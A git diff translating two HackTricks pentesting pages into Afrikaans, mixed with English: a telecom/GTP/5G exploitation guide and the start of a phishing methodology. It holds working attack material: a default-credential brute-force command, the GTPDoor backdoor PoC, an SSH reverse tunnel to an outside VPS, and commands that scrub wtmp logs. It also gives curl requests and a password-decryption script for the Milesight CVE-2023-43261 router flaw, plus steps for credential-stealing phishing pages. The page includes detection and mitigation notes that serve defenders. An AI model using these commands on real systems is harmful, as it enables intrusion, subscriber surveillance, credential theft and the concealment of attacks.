Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:50:08 +00:00
parent ab75e5a95a
commit 642d85817c
2 changed files with 316 additions and 227 deletions

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / Roaming Environments) # Telecom Netwerkuitbuiting (GTP / Roaming-omgewings)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!NOTE] > [!NOTE]
> Mobiele kernprotokolle (GPRS Tunnelling Protocol GTP) gaan dikwels oor semi-vertroude GRX/IPX roaming-backbones. Omdat hulle op plain UDP met byna geen verifikasie ry nie, **enige foothold binne 'n telecom-perimeter kan gewoonlik direk die kern-seinvlakke bereik**. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node. > Mobile-core protocols (GPRS Tunnelling Protocol GTP) gaan dikwels deur semi-gevertroude GRX/IPX roaming-backbones. Omdat hulle oor plain UDP ry met byna geen authentikasie nie, **kan enige foothold binne 'n telecom perimeter gewoonlik core signalling planes direk bereik**. Die volgende notas versamel offensive tricks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC nodes.
## 1. Recon & Initial Access ## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts ### 1.1 Standaard OSS / NE-rekeninge
'n Verrassend groot aantal verskaffer-netwerkelemente word met hard-coded SSH/Telnet gebruikers gestuur, soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n Gespesialiseerde woordlys verhoog dramaties brute-force sukses: 'n Verstommend groot stel verskaffer-netwerkelemente word saamgestuur met hard-coded SSH/Telnet gebruikers soos `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 'n toegewyde wordlist verhoog dramaties brute-force sukses:
```bash ```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
``` ```
As die toestel slegs 'n management VRF blootstel, pivot eers deur 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder). As die toestel slegs 'n management VRF openbaar, pivot eers via 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
### 1.2 Gasheerontdekking binne GRX/IPX ### 1.2 Host Discovery binne GRX/IPX
Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP probes om vinnig GTP-C listeners in kaart te bring: Die meeste GRX-operateurs laat steeds **ICMP echo** oor die backbone toe. Kombineer `masscan` met die ingeboude `gtpv1` UDP-probes om vinnig GTP-C-luisteraars in kaart te bring:
```bash ```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
``` ```
## 2. Enumerating Subscribers `cordscan` ## 2. Enumerering van intekenare `cordscan`
Die volgende Go-hulpmiddel vervaardig **GTP-C Create PDP Context Request** pakkette en teken die antwoorde aan. Elke antwoord openbaar die huidige **SGSN / MME** wat die aangevraagde IMSI bedien en, soms, die abonnee se besoekte PLMN. Die volgende Go-hulpmiddel samestel **GTP-C Create PDP Context Request** pakkette en registreer die antwoorde. Elke antwoord onthul die huidige **SGSN / MME** wat die gevraagde IMSI bedien en soms die intekenaar se besoekte PLMN.
```bash ```bash
# Build # Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -31,10 +31,10 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
``` ```
Belangrike vlae: Belangrike vlae:
- `--imsi` Teikenabonnee IMSI - `--imsi` Teikenabonnee IMSI
- `--oper` Home / HNI (MCC+MNC) - `--oper` Tuis / HNI (MCC+MNC)
- `-w` Skryf rou packets na pcap - `-w` Skryf rou pakkette na pcap
Belangrike konstantes binne die binary kan gepatch word om scans te verbreed: Belangrike konstantes binne die binêre kan aangepas word om skanderings uit te brei:
``` ```
pingtimeout = 3 // seconds before giving up pingtimeout = 3 // seconds before giving up
pco = 0x218080 pco = 0x218080
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
``` ```
## 3. Kode-uitvoering oor GTP `GTPDoor` ## 3. Kode-uitvoering oor GTP `GTPDoor`
`GTPDoor` is 'n klein ELF-diens wat **binds UDP 2123 and parses every incoming GTP-C packet**. Wanneer die payload met 'n pre-shared tag begin, word die res ontsleuteld (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie. `GTPDoor` is 'n klein ELF-diens wat **binds UDP 2123 and parses every incoming GTP-C packet**. Wanneer die payload met 'n pre-shared tag begin, word die oorblyfsel ontsleutel (AES-128-CBC) en uitgevoer via `/bin/sh -c`. Die stdout/stderr word exfiltrated binne **Echo Response** messages sodat geen uitgaande sessie ooit geskep word nie.
Minimale PoC-pakket (Python): Minimal PoC packet (Python):
```python ```python
import gtpc, Crypto.Cipher.AES as AES import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!" key = b"SixteenByteKey!"
@ -52,14 +52,14 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
``` ```
Opsporing: Detection:
* enige host wat **unbalanced Echo Requests** na SGSN IPs stuur * enige gasheer wat **unbalanced Echo Requests** na SGSN IP-adresse stuur
* GTP version flag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie * GTP weergawe-vlag op 1 gestel terwyl message type = 1 (Echo) afwyking van die spesifikasie
## 4. Pivoting Deur die Kern ## 4. Pivoting deur die Kern
### 4.1 `sgsnemu` + SOCKS5 ### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` verskaf 'n SGSN-emulator wat in staat is om **establish a PDP context towards a real GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0` koppelvlak wat vanaf die roaming peer bereikbaar is. `OsmoGGSN` lewer 'n SGSN-emulator wat in staat is om **'n PDP-konteks op te stel na 'n werklike GGSN/PGW**. Sodra dit onderhandel is, ontvang Linux 'n nuwe `tun0`-koppelvlak wat vanaf die roaming-peer bereikbaar is.
```bash ```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d -APN internet -c 1 -d
@ -69,23 +69,23 @@ microsocks -p 1080 & # internal SOCKS proxy
Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **data plane**. Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53 ### 4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens bloot op jou VPS wat luister op :53 en keer later van die huis terug: DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat luister op poort :53, en keer later van die huis af terug:
```bash ```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
``` ```
Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is. Kontroleer dat `GatewayPorts yes` op die VPS geaktiveer is.
## 5. Covert Channels ## 5. Geheime Kanale
| Channel | Transport | Decoding | Notes | | Kanaal | Transport | Dekodering | Aantekeninge |
|---------|-----------|----------|-------| |--------|-----------|-----------|-------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer | | ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | puur passiewe luisteraar, geen uitgaande verkeer |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | hou dop vir `*.nodep` subdomein | | DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) gekodeer in A-record oktette | kyk uit vir `*.nodep` sub-domein |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mengt met legitieme GTP-C-verkeer | | GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | meng met geldige GTP-C verkeer |
Alle implants implementeer watchdogs wat **timestomp** hul binaries en re-spawn as hulle crashed. Alle implants gebruik watchdogs wat hul binaries **timestomp** en weer opstart as hulle crash.
## 6. Defense Evasion Cheatsheet ## 6. Verdedigings-omseiling Cheatsheet
```bash ```bash
# Remove attacker IPs from wtmp # Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -116,76 +116,76 @@ Skoonmaakwenk:
userdel firefart 2>/dev/null userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c rm -f /tmp/sh ; history -c
``` ```
## 8. Gereedskap ## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` aangepaste gereedskap soos in vorige afdelings beskryf. * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD * `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging * `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of geïnkripteer nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan waarneem of manipuleer (bv., on-path binne die core, rogue gNB, of testbed). Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Totdat NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer en nie versleuteld nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
Registrasie-vloei (vereenvoudig): Registrasievloei (vereenvoudig):
- Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns. - Registration Request: UE stuur SUCI (encrypted SUPI) en capabilities.
- Authentication: AMF/AUSF stuur RAND/AUTN; UE stuur RES* terug. - Authentication: AMF/AUSF stuur RAND/AUTN; UE gee RES* terug.
- Security Mode Command/Complete: NAS-integriteit en -koderingsalgoritmes word onderhandeld en geaktiveer. - Security Mode Command/Complete: NAS-integriteit en ciphering word onderhandeld en geaktiveer.
- PDU Session Establishment: IP/QoS opstelling. - PDU Session Establishment: IP/QoS opstelling.
Laboratorium-opstellingswenke (non-RF): Laboratorium opstel wenke (non-RF):
- Core: Open5GS standaard implementering is voldoende om vloei te reproduceer. - Core: Open5GS standaard implementering is voldoende om vloei te reproduseer.
- UE: simulator of toets-UE; dekodeer met Wireshark. - UE: simulator of test-UE; dekodeer met Wireshark.
- Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS binne NGAP), Sni5Gect (sniff/patch/inject NAS on the fly sonder om 'n volledige rogue gNB op te sit). - Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Nuttige vertoonfilters in Wireshark: - Nuttige vertoonfilters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage) - ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identiteitsprivaatheid: SUCI-foute wat SUPI/IMSI blootstel ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Verwagting: UE/USIM moet SUCI stuur (SUPI geënkripteer met die home-network publieke sleutel). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue ontvangeropsporing moontlik maak. Verwagting: UE/USIM moet SUCI stuur (SUPI encrypted met die home-network public key). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue subscriber-tracking moontlik maak.
Hoe om te toets: Hoe om te toets:
- Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE. - Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
- Wireshark vinnige kontrole: - Wireshark vinnige kontroles:
- Dit behoort as SUCI te dekodeer, nie as IMSI nie. - Dit behoort as SUCI te dekodeer, nie as IMSI nie.
- Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` behoort te bestaan; afwesigheid tesame met die teenwoordigheid van `imsi` dui op 'n privaatheidsdefek. - Filtervoorbeelde: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` behoort te bestaan; afwesigheid plus teenwoordigheid van `imsi` dui op leakage.
Wat om te versamel: Wat om in te samel:
- MCC/MNC/MSIN indien blootgestel; log per-UE en spoor oor tyd/liggings. - MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.
Mitigasie: Mitigasie:
- Dwing SUCI-only UE/USIM af; stel alarms op vir enige IMSI/SUPI in die aanvanklike NAS. - Forceer SUCI-only UEs/USIMs; waarsku op enige IMSI/SUPI in die aanvanklike NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Agtergrond: Agtergrond:
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request. - UE adverteer ondersteunde EEA (encryption) en EIA (integrity) in die UE Security Capability IE van die Registration Request.
- Algemene koppelings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes. - Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.
Probleem: Kwessie:
- Omdat die Registration Request nie integriteitbeskerm is nie, kan 'n on-path aanvaller die vermoënbits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat ontereëlwis null-algoritmes toe buite nooddienste. - Omdat die Registration Request nie integriteitsbeskerm is nie, kan 'n on-path aanvaller capability-bits uitvee om die keuse van EEA0/EIA0 af te dwing later tydens Security Mode Command. Sommige stacks laat ten onregte toe dat nul-algoritmes buite emergency services gebruik word.
Aanvallende stappe: Offensiewe stappe:
- Intercepteer InitialUEMessage en modifiseer die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer. - Intersep InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit verder gestuur word. - Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit geforward word.
- Observeer of die AMF null ciphers/integriteit aanvaar en Security Mode met EEA0/EIA0 voltooi. - Observeer of AMF null ciphers/integrity aanvaar en Security Mode voltooi met EEA0/EIA0.
Verifikasie/ sigbaarheid: Verifikasie/sigbaarheid:
- In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete. - In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
- Voorbeeld van passiewe sniffer-uitset: - Voorbeeld passiewe sniffer-uitset:
``` ```
Encyrption in use [EEA0] Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2] Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001 SUPI (MCC+MNC+MSIN) 9997000000001
``` ```
Mitigations (must): Versagtingsmaatreëls (moet):
- Konfigureer AMF/policy om EEA0/EIA0 te verwerp, behalwe waar dit strikt vereis word (bv., noodoproepe). - Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng voorgeskryf is (bv., noodoproepe).
- Voorkeur om ten minste EEA2/EIA2 af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat nul-algoritmes onderhandel. - Beveel aan om EEA2/EIA2 ten minste af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat null-algoritmes onderhandel.
### 9.3 Herhaling van aanvanklike Registration Request (pre-security NAS) ### 9.3 Replay van aanvanklike Registration Request (pre-security NAS)
Omdat die aanvanklike NAS integriteit en nuutheid ontbreek, kan 'n opgeneemde InitialUEMessage+Registration Request aan die AMF hergespeel word. Omdat die aanvanklike NAS geen integriteit of varsheid het nie, kan vasgevangde InitialUEMessage+Registration Request na die AMF gereplayed word.
PoC rule for 5GReplay to forward matching replays: PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:
```xml ```xml
<beginning> <beginning>
<property value="THEN" <property value="THEN"
@ -208,40 +208,102 @@ boolean_expression="nas_5g.message_type == 65"/>
</property> </property>
</beginning> </beginning>
``` ```
Wat om op te let: Wat om waar te neem:
- Of die AMF die replay aanvaar en na verifikasie voortgaan; 'n gebrek aan varsheid-/konteksvalidasie dui op blootstelling. - Whether AMF accepts the replay and proceeds to Authentication; 'n gebrek aan freshness/context validation dui op blootstelling.
Mitigering: Versagtingsmaatreëls:
- Handhaaf replay protection/context binding by die AMF; pas rate-limiting toe en korreleer per-GNB/UE. - Dwing replay protection/context binding by die AMF af; rate-limit en korreleer per-GNB/UE.
### 9.4 Gereedskapwenke (reproduceerbaar) ### 9.4 Gereedskap-aanwysings (herhaalbaar)
- Open5GS: start 'n AMF/SMF/UPF om die core te emuleer; monitor N2 (NGAP) en NAS. - Open5GS: start 'n AMF/SMF/UPF op om die core te emuleer; observeer N2 (NGAP) en NAS.
- Wireshark: verifieer die dekodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer. - Wireshark: verifieer dekodes van NGAP/NAS; pas die filters hierbo toe om Registration te isoleer.
- 5GReplay: vang 'n registration op, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reël. - 5GReplay: vang 'n Registration op, daarna replay spesifieke NGAP + NAS boodskappe soos per die reël.
- Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te versteur. - Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te ontwrig.
### 9.5 Verdedigingskontrolelys ### 9.5 Verdedigingskontrolelys
- Inspekteer aanhoudend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs. - Inspekteer deurlopend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
- Weier EEA0/EIA0 behalwe vir nou omskryfde noodprosedures; vereis minstens EEA2/EIA2. - Weier EEA0/EIA0 behalwe vir noukeurig gedefinieerde noodprosedures; vereis ten minste EEA2/EIA2.
- Ontdek rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwagte N2 peers. - Detecteer ongeoorloofde of verkeerd geconfigureerde infrastruktuur: unauthorized gNB/AMF, unexpected N2 peers.
- Gee waarskuwings vir NAS security modes wat in null algorithms of gereelde replays van InitialUEMessage resulteer. - Waarsku oor NAS security modes wat lei tot null algorithms of gereelde replays van InitialUEMessage.
--- ---
## 10. Industriële Sellulêre Routers Ongeauthentiseerde SMS-API-misbruik (Milesight UR5X/UR32/UR35/UR41) en kredensiële herstel (CVE-2023-43261)
Deur blootgestelde web-APIs van industriële sellulêre routers te misbruik word stealthy, carrier-origin smishing op skaal moontlik. Milesight UR-series routers stel 'n JSON-RPCstyl endpoint by `/cgi` bloot. Wanneer verkeerd geconfigureer, kan die API sonder authentication bevra word om SMS inbox/outbox te lys en, in sommige deployments, om SMS te stuur.
Tipiese ongeauthentiseerde versoeke (dieselfde struktuur vir inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Antwoorde sluit velde in soos `timestamp`, `content`, `phone_number` (E.164), en `status` (`success` or `failed`). Herhaalde `failed` stuurings na dieselfde nommer is dikwels attacker “capability checks” om te verifieer dat 'n router/SIM kan aflewer voordat blasting plaasvind.
Voorbeeld curl om SMS metadata te exfiltrate:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Aantekeninge oor auth-artefakte:
- Sommige verkeer mag 'n auth cookie insluit, maar 'n groot gedeelte van blootgestelde toestelle reageer sonder enige authenticatie op `query_inbox`/`query_outbox` wanneer die management-koppelvlak Internet-toeganklik is.
- In omgewings wat auth vereis, previously-leaked credentials (see below) herstel toegang.
Kredensiaalherstelpad CVE-2023-43261:
- Aangetaste families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Probleem: web-geserveerde logs (bv. `httpd.log`) is sonder enige authenticatie bereikbaar onder `/lang/log/` en bevat admin-aanmeldingsgebeurtenisse met die wagwoord versleuteld met 'n hardcoded AES key/IV wat in client-side JavaScript teenwoordig is.
- Praktiese toegang en ontsleuteling:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Minimale Python om leaked wagwoorde te dekripteer (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Jag- en opsporingsideeë (netwerk):
- Waarsku oor ongeverifieerde `POST /cgi` waarvan die JSON-liggaam `base`/`function` bevat wat op `query_inbox` of `query_outbox` gestel is.
- Volg herhaalde `POST /cgi` uitbarstings gevolg deur `status":"failed"` inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (capability testing).
- Inventariseer Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; deaktiveer SMS-funksies tensy vereis; opgradeer na ≥ v35.3.0.7; roteer credentials en hersien SMS-logboeke vir onbekende stuuraksies.
Shodan/OSINT pivots (voorbeelde in die natuur gesien):
- `http.html:"rt_title"` pas by Milesight router-paneel.
- Google dorking vir blootgestelde logs: `"/lang/log/system" ext:log`.
Operationele impak: die gebruik van wettige carrier SIMs binne routers gee baie hoë SMS-lewerbaarheid en geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling sensitiewe metadata op skaal leak.
---
## Opsporingsidees ## Opsporingsidees
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel**. 1. **Enige toestel anders as 'SGSN/GGSN' wat Create PDP Context Requests opstel**.
2. **Nie-standaard poorte (53, 80, 443) wat SSH handshakes ontvang** van interne IP's. 2. **Nie-standaard poorte (53, 80, 443) wat SSH-handshakes van interne IP's ontvang**.
3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** kan op GTPDoor beacons dui. 3. **Gereelde Echo Requests sonder ooreenstemmende Echo Responses** kan op GTPDoor-beacons dui.
4. **Hoë koers van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde**. 4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence-velde**.
5. 5G: **InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese endpoints** (replay sein). 5. 5G: **InitialUEMessage wat NAS Registration Requests dra wat herhaal van identiese eindpunte** (replay sein).
6. 5G: **NAS Security Mode wat EEA0/EIA0 onderhandel** buite noodkontekste. 6. 5G: **NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalkontekste**.
## Verwysings ## Verwysings
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - [Palo Alto Unit42 Infiltrasie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0) - 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System - 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -6,14 +6,14 @@
1. Recon die slagoffer 1. Recon die slagoffer
1. Kies die **slagoffer-domein**. 1. Kies die **slagoffer-domein**.
2. Voer basiese web-ontleding uit deur **na aanmeldportale te soek** wat deur die slagoffer gebruik word en **besluit** watter een jy gaan **voordoen as**. 2. Voer basiese web-ontleding uit deur te **soek na aanmeldportale** wat deur die slagoffer gebruik word en **besluit** watteren jy gaan **namaak**.
3. Gebruik 'n bietjie **OSINT** om **e-posadresse te vind**. 3. Gebruik bietjie **OSINT** om **e-posadresse te vind**.
2. Berei die omgewing voor 2. Berei die omgewing voor
1. **Koop die domein** wat jy gaan gebruik vir die phishing-assessering 1. **Koop die domein** wat jy gaan gebruik vir die phishing-assessering
2. **Konfigureer die e-posdiens** verwante rekords (SPF, DMARC, DKIM, rDNS) 2. **Konfigureer die e-posdiens** verwante rekords (SPF, DMARC, DKIM, rDNS)
3. Konfigureer die VPS met **gophish** 3. Konfigureer die VPS met **gophish**
3. Berei die veldtog voor 3. Berei die veldtog voor
1. Berei die **e-possjabloon** voor 1. Berei die **e-pos-sjabloon** voor
2. Berei die **webblad** voor om die inlogbewyse te steel 2. Berei die **webblad** voor om die inlogbewyse te steel
4. Begin die veldtog! 4. Begin die veldtog!
@ -21,8 +21,8 @@
### Tegnieke vir domeinnaamvariasie ### Tegnieke vir domeinnaamvariasie
- **Keyword**: Die domeinnaam **bevat** 'n belangrike **sleutelwoord** van die oorspronklike domein (e.g., zelster.com-management.com). - **Sleutelwoord**: Die domeinnaam **bevat** 'n belangrike **sleutelwoord** van die oorspronklike domein (e.g., zelster.com-management.com).
- **hypened subdomain**: Vervang die **punt** met 'n **koppelteken** in 'n subdomein (e.g., www-zelster.com). - **hypened subdomain**: Vervang die **punt met 'n koppelteken** in 'n subdomein (e.g., www-zelster.com).
- **New TLD**: Dieselfde domein wat 'n **nuwe TLD** gebruik (e.g., zelster.org) - **New TLD**: Dieselfde domein wat 'n **nuwe TLD** gebruik (e.g., zelster.org)
- **Homoglyph**: Dit **vervang** 'n letter in die domeinnaam met **letters wat soortgelyk lyk** (e.g., zelfser.com). - **Homoglyph**: Dit **vervang** 'n letter in die domeinnaam met **letters wat soortgelyk lyk** (e.g., zelfser.com).
@ -30,14 +30,14 @@
{{#ref}} {{#ref}}
homograph-attacks.md homograph-attacks.md
{{#endref}} {{#endref}}
- **Transposition:** Dit **ruil twee letters om** in die domeinnaam (e.g., zelsetr.com). - **Transposition:** Dit **ruil twee letters** in die domeinnaam (e.g., zelsetr.com).
- **Singularization/Pluralization**: Voeg of verwyder “s” aan die einde van die domeinnaam (e.g., zeltsers.com). - **Singularization/Pluralization**: Voeg of verwyder “s” aan die einde van die domeinnaam (e.g., zeltsers.com).
- **Omission**: Dit verwyder een van die letters uit die domeinnaam (e.g., zelser.com). - **Omission**: Dit **verwyder een** van die letters uit die domeinnaam (e.g., zelser.com).
- **Repetition:** Dit herhaal een van die letters in die domeinnaam (e.g., zeltsser.com). - **Repetition:** Dit **herhaal een** van die letters in die domeinnaam (e.g., zeltsser.com).
